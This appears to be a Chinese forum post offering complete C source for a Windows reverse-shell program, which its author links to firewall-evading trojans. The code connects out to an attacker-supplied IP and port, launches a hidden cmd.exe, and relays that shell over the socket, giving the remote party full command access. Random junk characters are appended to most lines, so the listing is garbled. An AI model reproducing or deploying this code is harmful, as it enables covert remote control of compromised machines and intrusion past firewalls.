这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q*D;U[
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/* ============================== T$8)u'-pa
Rebound port in Windows NT (~p<
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By wind,2006/7 D}-/c"':}
===============================*/ )3cAQ'w
#include j`{?OYD
#include Y`~Ut:fZ
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#pragma comment(lib,"wsock32.lib") <$D`Z-6
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void OutputShell(); N=V==Dbu-
SOCKET sClient; P\E<9*V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]%;:7?5l
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void main(int argc,char **argv) hZm"t/aKc
{ ahusta
WSADATA stWsaData; y6g&Y.:o
int nRet; A7%)~z<
SOCKADDR_IN stSaiClient,stSaiServer; j
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if(argc != 3) &h}#HS>l
{ \;,_S+Fz8
printf("Useage:\n\rRebound DestIP DestPort\n"); Sj3+l7S?
return; p?02C#p
} l [dK[4
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WSAStartup(MAKEWORD(2,2),&stWsaData); #$.;'#u'so
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CXH&U@57{
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stSaiClient.sin_family = AF_INET; ?e%ZOI
stSaiClient.sin_port = htons(0); dB{Q"!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l|u>Tb|V
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]}V<*f
{ V.U|
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printf("Bind Socket Failed!\n"); ncaT?~u j
return; u^&^UxCA
} y5vvu>nd
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stSaiServer.sin_family = AF_INET; YX!iL6?~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T~-ycVc
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,<.V7(|t)
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F|`Hm
{
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printf("Connect Error!"); ~?l |
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return; Q1Kfi8h}'
} L7l
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OutputShell(); sWhZby7
} ::`HQ@^
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void OutputShell() &s(^@OayE
{ rm7ANMB:
char szBuff[1024]; TP*hd
SECURITY_ATTRIBUTES stSecurityAttributes; 9gW|}&-
OSVERSIONINFO stOsversionInfo; 9i:L&dN
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;[ZEDF5H
STARTUPINFO stStartupInfo; j;zM{qu_
char *szShell; /l3V3B7
PROCESS_INFORMATION stProcessInformation; 7^avpf)>
unsigned long lBytesRead; +L$Xv
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [+Iz@0q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }PlRx6r@
stSecurityAttributes.lpSecurityDescriptor = 0; y
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stSecurityAttributes.bInheritHandle = TRUE; |]bsCmD
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cZ,b?I"Q%
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Xg6Jh``
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ov@gh
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }CSDV9).S
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; l$KA)xbI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <)Dj9' _J
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GetVersionEx(&stOsversionInfo); hPB9@hT$
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switch(stOsversionInfo.dwPlatformId) [g|_~h
{ :
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case 1: 8S
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szShell = "command.com"; M/f<A$xx_
break; #~]zhHI
default: z(O Nv#}p
szShell = "cmd.exe"; [jQp~&nY
break; &u."A3(
} `7E;VL^Y1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^dWa;m]l
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send(sClient,szMsg,77,0); bL`TySX
while(1) LENq_@$
{ bIDj[-CDG
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _;S-x
if(lBytesRead) >NV@R&
{ zaIKdI'/e
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fUWG*o9
send(sClient,szBuff,lBytesRead,0); ,Zx0%#6
}
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else Y(ykng
{ 6GlJ>r+n
lBytesRead=recv(sClient,szBuff,1024,0); RMV/&85?y
if(lBytesRead<=0) break; Qp5VP@t
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;+R&}[9,A)
} ma]F7dZ5
} ZDJ`qJ8V
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return; gx/,)> E.
}